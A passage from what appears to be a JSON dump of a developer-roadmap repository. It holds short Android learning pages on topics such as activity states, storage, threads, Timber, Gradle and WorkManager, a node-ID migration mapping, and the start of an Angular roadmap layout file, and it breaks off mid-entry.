    "content": "# State Changes\n\n\"Activity\" is a crucial component that represents a single screen with a user interface. One or more active activities make up an Application. These activities can go through different states in their lifecycle, often due to user interaction or system interruption. The primary states of an Activity include `Created`, `Started`, `Resumed`, `Paused`, `Stopped`, `Restarted`, and `Destroyed`. The \"Created\" state occurs when an activity instance is being created. The \"Started\" state is when the activity is visible to the user, while \"Resumed\" is when the activity is interacting with the user. An activity is \"Paused\" when it loses focus but is partly visible, \"Stopped\" when it's not visible, \"Restarted\" when the activity is about to be started, and \"Destroyed\" when the activity is finished or the system is temporarily destroying it.\n\nVisit the following resources to learn more:\n\n- [@official@Activity Lifecycle](https://developer.android.com/guide/components/activities/activity-lifecycle)"
  },
  {
    "path": "src/data/roadmaps/android/content/storage@0fNQWRxst8xRstIfPaPO6.md",
    "content": "# Storage\n\nOn Android devices, storage refers to where your data such as apps, photos, videos, and music are saved. It can be categorized into two types: internal and external storage. Internal Storage is where data is stored that's tied directly to your app. This data is private by default and not accessible by other apps. External Storage, on the other hand, is a shared space where all apps can read and write data. It can be further sub-categorized into Public and Private directories. Public directories are shared among all apps while private directories are specific to your app but can be accessed by other apps if they have the appropriate permissions.\n\nVisit the following resources to learn more:\n\n- [@official@Storage](https://developer.android.com/guide/topics/data/data-storage)"
  },
  {
    "path": "src/data/roadmaps/android/content/tabs@pEBpXv3Jf1AzBNHlvVrG8.md",
    "content": "# Tabs\n\nTabs in Android Studio are a UI component used to organize content into multiple sections, allowing users to navigate between them by selecting the corresponding tab. This component is commonly used when there is a need to present different types of content in a single screen, like different categories, settings, or pages within an app.\n\nVisit the following resources to learn more:\n\n- [@official@Material Tabs](https://developer.android.com/reference/com/google/android/material/tabs/package-summary)"
  },
  {
    "path": "src/data/roadmaps/android/content/tasks--backstack@-O-G9bg36ut8NnZcdOaop.md",
    "content": "# Tasks and Backstack\n\nThe **tasks backstack** in Android refers to the way Android manages and arranges tasks in a stack-like structure. Every task has a stack of activities, which is referred to as the task's back stack. The activities are placed in the order they are opened. When a new activity is started, it is placed at the top of the stack and becomes the running activity, while the previous activity is paused and put into the back stack. When you press the back button, the current activity is destroyed and the activity at the top of the back stack becomes active again. Android defines how to navigate between tasks and activities using this back stack concept.\n\nVisit the following resources to learn more:\n\n- [@official@Tasks and Backstack](https://developer.android.com/guide/components/activities/tasks-and-back-stack)"
  },
  {
    "path": "src/data/roadmaps/android/content/testing@ZOQm5OlzCA-h_yxywwDrW.md",
    "content": "# Testing\n\n**Testing** is a crucial part of the app development process. It involves validating the functionality, performance, usability, and consistency of your app before deploying it to the Play Store. There are two types of testing methods notably used: **Unit testing** and **Instrumentation Testing**. Unit testing, as the name suggests, tests each unit or segment of your code separately. It doesn't require Android dependencies and hence, runs faster. Instrumentation testing, on another hand, requires Android dependencies and is slower. Instrumentation testing tests the UIs, simulates user interactions and validates the navigation between different parts of your app. Android provides built-in testing frameworks like `JUnit` for unit testing and `Espresso` for Instrumentation testing.\n\nVisit the following resources to learn more:\n\n- [@official@Testing](https://developer.android.com/training/testing)"
  },
  {
    "path": "src/data/roadmaps/android/content/textview@znvZp24L-PcQwkSObtixs.md",
    "content": "# TextView\n\nTextView is a widget that is seen in every android application. This widget is used to display simple text within the android application.\n\nVisit the following resources to learn more:\n\n- [@article@TextView](https://developer.android.com/reference/android/widget/TextView)"
  },
  {
    "path": "src/data/roadmaps/android/content/the-fundamentals@HlUUGj3dOZ68t4gIjerXh.md",
    "content": "# The Fundamentals\n\n\"The Fundamentals\" of Android primarily concentrate on 5 components; Activities, Services, Broadcast Receivers, Content Providers, and Intents. **Activities** are essentially what you see on your screen; each screen in an app is a separate activity. **Services** run in the background to perform long-running operations or to perform work for remote processes. They do not provide a user interface. **Broadcast Receivers** respond to broadcast messages from other applications or from the system itself. These messages are often in the form of Intents. **Content Providers** manage a shared set of app data that other apps can query or modify, through a structured interface. Finally, **Intents** are messaging objects which facilitate the communication between the aforementioned components. Understanding these five core concepts is key to mastering Android fundamentals.\n\nVisit the following resources to learn more:\n\n- [@official@The Fundamentals](https://developer.android.com/guide/components/fundamentals)"
  },
  {
    "path": "src/data/roadmaps/android/content/threads@BeGrA5BDBMZP1Jy7n-wl-.md",
    "content": "# Threads\n\nIn Android, a `Thread` is a concurrent unit of execution. It has its own call stack, but can share its state with other threads in the same process, i.e., they can share the same memory area. They're primarily used in Android to perform operations in the background. One important aspect to note is that Android UI operations are not thread-safe, meaning they should always be done on the UI thread. Operations on `Threads` are typically managed through `Handler`, `Looper` and `MessageQueue` classes. Android also provides high-level constructs like `AsyncTask` and `Loader` for managing threads in relation to the UI.\n\nVisit the following resources to learn more:\n\n- [@official@Threads](https://developer.android.com/guide/components/processes-and-threads)"
  },
  {
    "path": "src/data/roadmaps/android/content/timber@VFOD4JrV8kZ2583G3oT95.md",
    "content": "# Timber\n\n`Timber` is a logging utility tool that has been specifically extended from the `Log` class of Android. It has been built to simplify the logging process while aiming to reduce the amount of boilerplate code the developer has to write. It was designed and is maintained by Jake Wharton, a renowned contributor in the Android Developer community. In Timber, each log message is directed to the next available logger, reducing the redundancy of manually assigning log tags. The simplicity of Timber is highlighted by its ability to log without defining any tag. Most importantly, Timber only logs messages in debug builds by default, avoiding potential data leaks in your production application.\n\nVisit the following resources to learn more:\n\n- [@opensource@Timber on GitHub](https://github.com/JakeWharton/timber)"
  },
  {
    "path": "src/data/roadmaps/android/content/toast@BVgO9n7tGlVdiS72-hFSd.md",
    "content": "# Toast\n\nA `toast` provides simple feedback about an operation in a small popup. It only fills the amount of space required for the message and the current activity remains visible and interactive. Toasts automatically disappear after a timeout.\n\nVisit the following resources to learn more:\n\n- [@official@Toast](https://developer.android.com/guide/topics/ui/notifiers/toasts)"
  },
  {
    "path": "src/data/roadmaps/android/content/version-control@5s1CqsYCOXjNroDHaGKGa.md",
    "content": "# Version Control Systems\n\n_Version Control_ is a system that records changes to a file or set of files over time so that you can recall specific versions later. An essential tool for software development, it helps to track changes, enhance collaboration, and manage different versions of a project. Two common types of version control systems are Centralized Version Control System (CVCS) and Distributed Version Control System (DVCS). CVCS uses a central server to store all versions of a project, with users getting snapshots from that server. Examples include SVN and Perforce. On the other hand, DVCS allows multiple developers to work on a single project simultaneously. Each user has a complete backup of all versions of the work. Examples include Git and Mercurial.\n\nVisit the following resources to learn more:\n\n- [@article@Version Control Systems](https://en.wikipedia.org/wiki/Version_control)"
  },
  {
    "path": "src/data/roadmaps/android/content/what-is-and-how-to-use-gradle@FVxNjbDBxgf6vkZWw1Awt.md",
    "content": "# What is and how to use Gradle?\n\nGradle is a powerful build system used in Android development that allows you to define your project and dependencies, and distinguish between different build types and flavors. Gradle uses a domain-specific language (DSL) which gives developers almost complete control over the build process. When you trigger a build in Android Studio, Gradle is the tool working behind the scenes to compile and package your app. It looks at the dependencies you declared in your build.gradle files and create a build script accordingly. Using Gradle in Android development requires continuous editing of the build.gradle files to manage app dependencies, build variants, signing configurations, and other essential aspects related to building your app.\n\nVisit the following resources to learn more:\n\n- [@official@Gradle Build Tool](https://docs.gradle.org/current/userguide/userguide.html)\n- [@official@Gradle Documentation](https://docs.gradle.org/current/userguide/getting_started_eng.html)\n- [@video@Gradle Course for Beginners - 55minutes](https://www.youtube.com/watch?v=R6Z-Sxb837I)\n- [@video@Introduction to Gradle for Complete Beginners - 25minutes](https://youtu.be/-dtcEMLNmn0?si=NuIP-3wNpUrxfTxA)\n- [@feed@Explore top posts about Gradle](https://app.daily.dev/tags/gradle?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/android/content/workmanager@OAb_JD64uGm2tPoue7w6t.md",
    "content": "# WorkManager\n\n`WorkManager` is an Android library introduced by Google to execute tasks in a predictable and reliable manner. It's designed for tasks that require guaranteed execution, even if the app has been closed or the device restarts. It is backwards compatible up to API 14 and uses JobScheduler for API 23 and above, whilst using a combination of BroadcastReceiver + AlarmManager for APIs 14 and up. Regardless of the device API level, WorkManager works for all Android devices. Three types of work are supported by WorkManager - OneTimeWorkRequest, PeriodicWorkRequest, and DelayedWorkRequest.\n\nVisit the following resources to learn more:\n\n- [@official@WorkManager](https://developer.android.com/topic/libraries/architecture/workmanager)"
  },
  {
    "path": "src/data/roadmaps/android/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/android/migration-mapping.json",
    "content": "{\n  \"pick-a-language\": \"Suws-7f_6Z1ChpfcnxX2M\",\n  \"pick-a-language:kotlin\": \"qIzUv8-GgQnkqChEdgD50\",\n  \"pick-a-language:java\": \"RBABbkzD_uNFwEO-hssZO\",\n  \"the-fundamentals:development-ide\": \"ZRGsokU313Ky-anWbWK6q\",\n  \"the-fundamentals:basics-of-kotlin\": \"jl1FsQ5-WGKeFyaILNt_p\",\n  \"the-fundamentals:basics-of-oop\": \"j69erqfosSZMDlmKcnnn0\",\n  \"the-fundamentals:datastructures-and-algorithms\": \"cNeT1dJDfgn0ndPzSxhSL\",\n  \"the-fundamentals:using-gradle\": \"FVxNjbDBxgf6vkZWw1Awt\",\n  \"the-fundamentals:hello-world-app\": \"5m_7DvInF8C_4Ml1xVI6L\",\n  \"the-fundamentals\": \"HlUUGj3dOZ68t4gIjerXh\",\n  \"version-control\": \"5s1CqsYCOXjNroDHaGKGa\",\n  \"version-control:git\": \"rqSZ2ATeHbOdIQE9Jlb0B\",\n  \"version-control:gitlab\": \"Q47BtQphp59NkkZoeNXmP\",\n  \"version-control:bitbucket\": \"5LFZdUiFYYU_1sYsouyan\",\n  \"version-control:github\": \"H-2eb8fLwz8IKYXbeSVKK\",\n  \"app-components\": \"5Li8J5iR_ZuyIlxX0LYei\",\n  \"app-components:activity\": \"nwuVlPmzwJ17mtVQ8Hi9w\",\n  \"app-components:services\": \"PcHmU1c9hqKyzSjwlRPHk\",\n  \"app-components:content-provider\": \"nkcdjrswv0WCzUs48BAt9\",\n  \"app-components:broadcast-receiver\": \"tFuAToid1Fkmu96BDtW7K\",\n  \"app-components:intent\": \"hv_9imIQpthxEaMLXEUHI\",\n  \"app-components:activity:activity-lifecycle\": \"FVg438cVBBzqJFkGWVbQM\",\n  \"app-components:activity:state-changes\": \"oUjetA2eduvQIeLcQlLcu\",\n  \"app-components:activity:tasks-backstack\": \"-O-G9bg36ut8NnZcdOaop\",\n  \"app-components:intent:implicit-intents\": \"gGdz3j33x0gfrFDp_rw8Z\",\n  \"app-components:intent:explicit-intents\": \"TmIeCF3xVCe5Sy3ITmM31\",\n  \"app-components:intent:intent-filters\": \"b-sfh6NoS-APqaNKm5L5S\",\n  \"interface-and-navigation:layouts:frame\": \"Dp2DOX10u2xJUjB8Okhzh\",\n  \"interface-and-navigation:layouts:linear\": \"U8iMGGOd2EgPxSuwSG39Z\",\n  \"interface-and-navigation:layouts:relative\": \"yE0qAQZiEC9R8WvCdskpr\",\n  \"interface-and-navigation:layouts:constraint\": \"3fFNMhQIuuh-NRzSXYpXO\",\n  \"interface-and-navigation:layouts:recycler-view\": \"xIvplWfe-uDr9iHjPT1Mx\",\n  \"interface-and-navigation\": \"4_e76QafrB419S2INOeKd\",\n  \"interface-and-navigation:jetpack-compose\": \"60Vm-77rseUqpMiFvp-dA\",\n  \"interface-and-navigation:app-shortcuts\": \"xV475jHTlLuHtpHZeXb7P\",\n  \"interface-and-navigation:navigation-components\": \"o5rzmnaQeiSh9ocvfJPpK\",\n  \"interface-and-navigation:elements:text-view\": \"znvZp24L-PcQwkSObtixs\",\n  \"interface-and-navigation:elements:fragments\": \"2iDJrxjXOt7o2fPp2HfRl\",\n  \"interface-and-navigation:elements:edit-text\": \"boMz0HZlMAsLdCZlpUo-H\",\n  \"interface-and-navigation:elements:dialogs\": \"Mtx0bY0drmaTw8sCM5YTl\",\n  \"interface-and-navigation:elements:buttons\": \"WhfzFOUpm0DFEj7Oeq21R\",\n  \"interface-and-navigation:elements:toast\": \"BVgO9n7tGlVdiS72-hFSd\",\n  \"interface-and-navigation:elements:bottom-sheet\": \"Z4Tbd5ClnqCXGPGG09F-G\",\n  \"interface-and-navigation:elements:image-view\": \"A4rtNULX_MoV93IH1Lgqw\",\n  \"interface-and-navigation:elements:drawer\": \"amTxz7mS98lkhOrNMJXG_\",\n  \"interface-and-navigation:elements:list-view\": \"EzLjX4iRT7AxkAOsJYnSU\",\n  \"interface-and-navigation:elements:tabs\": \"pEBpXv3Jf1AzBNHlvVrG8\",\n  \"interface-and-navigation:elements:animations\": \"Xn1VQ-xOT67ZfJJTM4r1p\",\n  \"design-architecture\": \"jePGzTejFe4ryA5qFFmjl\",\n  \"design-architecture:architectural-patterns:mvi\": \"Bz-BkfzsDHAbAw3HD7WCd\",\n  \"design-architecture:architectural-patterns:mvvm\": \"pSU-NZtjBh-u0WKTYfjk_\",\n  \"design-architecture:architectural-patterns:mvp\": \"aF_xFIqTjQbENtC7pkXvJ\",\n  \"design-architecture:architectural-patterns:mvc\": \"w1A6wPKSd3Yh2luuHV-aE\",\n  \"design-architecture:repository-pattern\": \"ZF5XgO7I_J9928bD3CVXo\",\n  \"design-architecture:builder-pattern\": \"784fiIdKrQDlIm3VIiJQN\",\n  \"design-architecture:observer-pattern\": \"N_auRfGKkeIIc-qiHLkR_\",\n  \"design-architecture:dependency-injection\": \"qtXM9K7wyjOFuEMlZrB3C\",\n  \"design-architecture:factory-pattern\": \"DeOxj6RzQBYfEWV-M1Ybm\",\n  \"design-architecture:observer-pattern:flow\": \"W-WTIiQml8dLK6i_V69JK\",\n  \"design-architecture:observer-pattern:rxjava\": \"xk0vnWr7uESdzYRxwFjoK\",\n  \"design-architecture:observer-pattern:rxkotlin\": \"7rbsp1o5bzIJP11BRIoeG\",\n  \"design-architecture:observer-pattern:livedata\": \"TiokceMGU9caqiR0lbFYL\",\n  \"design-architecture:dependency-injection:dagger\": \"CK7Ce632fdTgxeFsRUVvd\",\n  \"design-architecture:dependency-injection:hilt\": \"ooo_k2k_vUBR_jQ7Ke6Et\",\n  \"design-architecture:dependency-injection:koin\": \"UMqZ-jmXKDXKuu8bzqDH_\",\n  \"design-architecture:dependency-injection:kodein\": \"dc7k50PjCYZcElHhCk66p\",\n  \"storage\": \"0fNQWRxst8xRstIfPaPO6\",\n  \"storage:shared-preferences\": \"PKql1HY0PLMfp50FRELXL\",\n  \"storage:datastore\": \"GWq3s1iTxQOp1BstHscJ9\",\n  \"storage:room\": \"Bfg4So5RlI09zFNcburJd\",\n  \"storage:file-system\": \"A4kdaj6AFueUgPI7hwKi5\",\n  \"network\": \"Yb6aKJMMCxU1QVltWg3Dr\",\n  \"network:retrofit\": \"dDMRYiqrKyOBnRRQc8zsp\",\n  \"network:okhttp\": \"5pVuwOItAhUxxJX8ysAsn\",\n  \"network:apollo-android\": \"ww0fTbdXwVr-QIOClU7ng\",\n  \"asynchronism\": \"cFYZ2C7yNnY6NHKUNP2Z4\",\n  \"asynchronism:coroutines\": \"i_cKmTnGAYw8xpHwZHjAd\",\n  \"asynchronism:threads\": \"BeGrA5BDBMZP1Jy7n-wl-\",\n  \"asynchronism:rxjava\": \"zXsNEyRbb8UpEOAUv6FpY\",\n  \"asynchronism:rxkotlin\": \"4h37WBpYxRRyw9oH8ge7o\",\n  \"asynchronism:work-manager\": \"OAb_JD64uGm2tPoue7w6t\",\n  \"common-services\": \"ZEdn2yy-IwHN3kOYr2ZbC\",\n  \"common-services:firebase:authentication\": \"Xv0es_z64vh-QzivMeAT3\",\n  \"common-services:firebase:crashlytics\": \"xB4evbD07n1VrHOIpowV4\",\n  \"common-services:firebase:remote-config\": \"1Tz-Shj_Tuz2U8llEAcLr\",\n  \"common-services:firebase:cloud-messaging\": \"e3vHFaFFMV7kI9q6yf5e9\",\n  \"common-services:firebase:fire-store\": \"3EEfKAd-ppIQpdQSEhbA1\",\n  \"common-services:google-admob\": \"D4ZXQOKJkyFYNZIy-MJ9Y\",\n  \"common-services:google-play-services\": \"m5rumeynEbS8T27pelr0-\",\n  \"common-services:google-maps\": \"S5FVF9rMgVSSDKXJW2GYb\",\n  \"linting\": \"77F9F3oI5CPgwgM_hxWfa\",\n  \"linting:ktlint\": \"zMbXQH17Q52opdbitPzj7\",\n  \"linting:detekt\": \"RUvuCp_JK5MQQT13SSHUV\",\n  \"debugging\": \"6KbSUAoT_jTudFoIbwMpA\",\n  \"debugging:timber\": \"VFOD4JrV8kZ2583G3oT95\",\n  \"debugging:leak-canary\": \"3i4g9ZWgLxKb2UMgRJi4Q\",\n  \"debugging:chucker\": \"7RKN1FNtRE_BE6QeAQrKb\",\n  \"debugging:jetpack-benchmark\": \"ACUJlDDR0jqEohsFzWEoQ\",\n  \"testing:espresso\": \"-ONSC-ImGSELbamKmjIlH\",\n  \"testing:junit\": \"gvGAwjk_nhEgxzZ_c3f6b\",\n  \"testing\": \"ZOQm5OlzCA-h_yxywwDrW\",\n  \"distribution\": \"kc6buUsLAeZeUb4Tk0apM\",\n  \"distribution:firebase-distribution\": \"T7q_quNaIAuGi96OdnDT1\",\n  \"distribution:google-playstore\": \"HgRdgi2Hu4C8YLG5PXfoo\",\n  \"distribution:signed-apk\": \"_FSlD_qTz5Xo0x3pB6sZI\"\n}"
  },
  {
    "path": "src/data/roadmaps/angular/angular.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"width\": 283,\n      \"height\": 383,\n      \"id\": \"VBjI-LQstODfimbRlHUFi\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -522.2433266387567,\n        \"y\": 49.22685449741584\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"TQT-lYCy59KN2BjwM_O8n\"\n      },\n      \"zIndex\": -999,\n      \"style\": {\n        \"width\": 283,\n        \"height\": 383\n      },\n      \"positionAbsolute\": {\n        \"x\": -522.2433266387567,\n        \"y\": 49.22685449741584\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 383\n      }\n    },\n    {\n      \"id\": \"wKEXcCpW_ydTDPzv_rS_w\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -146.2816601458129,\n        \"y\": 3187.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 396,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 396,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -146.2816601458129,\n        \"y\": 3187.43042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 396,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"FxFHWAkagS47Uce6_6T7d\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 152.7183398541871,\n        \"y\": 2786.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"nSq41MgDYtxGQXsWloS9I\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 138,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 138\n      },\n      \"positionAbsolute\": {\n        \"x\": 152.7183398541871,\n        \"y\": 2786.43042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 138\n      }\n    },\n    {\n      \"id\": \"nSq41MgDYtxGQXsWloS9I\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 386.04484613528683,\n        \"y\": 2359.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"a4cd_ND3vOLdmLuguKtBt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 95,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 95\n      },\n      \"positionAbsolute\": {\n        \"x\": 386.04484613528683,\n        \"y\": 2359.93042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 95\n      }\n    },\n    {\n      \"id\": \"a4cd_ND3vOLdmLuguKtBt\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 237.54484613528683,\n        \"y\": 2157.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"GYH0wo-CeNtqVSGM7i3oS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 1040,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 1040\n      },\n      \"positionAbsolute\": {\n        \"x\": 237.54484613528683,\n        \"y\": 2157.93042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 1040\n      }\n    },\n    {\n      \"id\": \"GYH0wo-CeNtqVSGM7i3oS\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -5.45968546864998,\n        \"y\": 2132.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"nyJvnCmX-pC35SbkRPXko\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 124,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 124\n      },\n      \"positionAbsolute\": {\n        \"x\": -5.45968546864998,\n        \"y\": 2132.43042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 124\n      }\n    },\n    {\n      \"id\": \"rikJUpXHGXAEC74Szwj7s\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -68.13327447982533,\n        \"y\": 2260.93042937083\n      },\n      \"width\": 278,\n      \"height\": 249,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 249\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -68.13327447982533,\n        \"y\": 2260.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 249\n      }\n    },\n    {\n      \"id\": \"ol_HobKV3LkBYvgVYWoGB\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -301.13327447982533,\n        \"y\": 2260.93042937083\n      },\n      \"width\": 238,\n      \"height\": 196,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 195.5\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -301.13327447982533,\n        \"y\": 2260.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 196\n      }\n    },\n    {\n      \"id\": \"nyJvnCmX-pC35SbkRPXko\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -346.3084777160734,\n        \"y\": 1890.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"762b06M2GaxTGG_SXG-6g\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 83,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 83\n      },\n      \"positionAbsolute\": {\n        \"x\": -346.3084777160734,\n        \"y\": 1890.43042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 83\n      }\n    },\n    {\n      \"id\": \"dnM44vvHZW3dSpsVi546w\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -301.63327447982533,\n        \"y\": 2072.43042937083\n      },\n      \"width\": 205,\n      \"height\": 143,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 142.5\n      },\n      \"selected\": false,\n      \"data\": {},\n      \"positionAbsolute\": {\n        \"x\": -301.63327447982533,\n        \"y\": 2072.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"1OFkZp8kqo_f_pTrDqNoe\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -519.1332744798253,\n        \"y\": 1963.93042937083\n      },\n      \"width\": 210,\n      \"height\": 408,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 407.5\n      },\n      \"selected\": false,\n      \"data\": {},\n      \"positionAbsolute\": {\n        \"x\": -519.1332744798253,\n        \"y\": 1963.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 408\n      }\n    },\n    {\n      \"id\": \"wPj4IMCob1P-xw4HiARuO\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -346.3084777160734,\n        \"y\": 1668.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"762b06M2GaxTGG_SXG-6g\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 186,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 186\n      },\n      \"positionAbsolute\": {\n        \"x\": -346.3084777160734,\n        \"y\": 1668.2304293708294\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 186\n      }\n    },\n    {\n      \"id\": \"762b06M2GaxTGG_SXG-6g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -348.5993272119424,\n        \"y\": 1587.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"rBi1Oj1pqcnIy5yMMxLyw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 83,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 83\n      },\n      \"positionAbsolute\": {\n        \"x\": -348.5993272119424,\n        \"y\": 1587.93042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 83\n      }\n    },\n    {\n      \"id\": \"FG7ABEX-nhrwCDpoKwdcm\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 20.86672552017467,\n        \"y\": 1668.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"3JUwGWiqWXqAZj8Lw8Gbm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 96,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 96\n      },\n      \"positionAbsolute\": {\n        \"x\": 20.86672552017467,\n        \"y\": 1668.2304293708294\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 96\n      }\n    },\n    {\n      \"id\": \"3JUwGWiqWXqAZj8Lw8Gbm\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -54.743326638756685,\n        \"y\": 1668.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"rBi1Oj1pqcnIy5yMMxLyw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 96,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 96\n      },\n      \"positionAbsolute\": {\n        \"x\": 